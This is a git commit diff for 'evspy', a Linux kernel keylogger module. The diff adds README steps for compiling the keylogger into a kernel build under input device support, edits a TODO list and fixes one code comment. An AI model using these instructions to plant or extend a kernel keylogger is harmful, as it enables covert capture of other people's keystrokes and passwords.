aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--README8
-rw-r--r--TODO2
-rw-r--r--evspy.c2
3 files changed, 10 insertions, 2 deletions
diff --git a/README b/README
index cbc8d2f..878aac7 100644
--- a/README
+++ b/README
@@ -45,3 +45,11 @@ Once it has been installed, you can load it when you want with
# modprobe evspy
+
+** OTHER **
+
+A patch is supplied (evspy.patch) to be able to compile a kernel with evspy
+included; just cd to your Linux source tree, copy all the evspy files (*.c *.h)
+to drivers/input/, and apply the patch. Then you should be able to configure the
+kernel to include evspy just like any other module:
+ Device Drivers --> Input device support --> Event based keylogger
diff --git a/TODO b/TODO
index 7303bf8..9e9b303 100644
--- a/TODO
+++ b/TODO
@@ -1,4 +1,4 @@
* Fix backspace key (do not erase special key events) - Prio:Medium
* Implement 2nd mapping (shift) - Prio:Medium
-* Take a look at kernel's circular list API - Prio:Low
+* Take a look at kernel's circular buffer API - Prio:Low
* Which FX key has been pressed? - Prio:None
diff --git a/evspy.c b/evspy.c
index 39e87f3..0489977 100644
--- a/evspy.c
+++ b/evspy.c
@@ -185,7 +185,7 @@ static void evspy_event(struct input_handle *handle, unsigned int type,
return;
}
- // Special/unknown keys (alt, ctrl, esc, mayus, etc)
+ // Special/unknown keys (alt, ctrl, esc, shift, etc)
if (map[code] == '.' && likely(code != KEY_DOT))
special_char(code, value);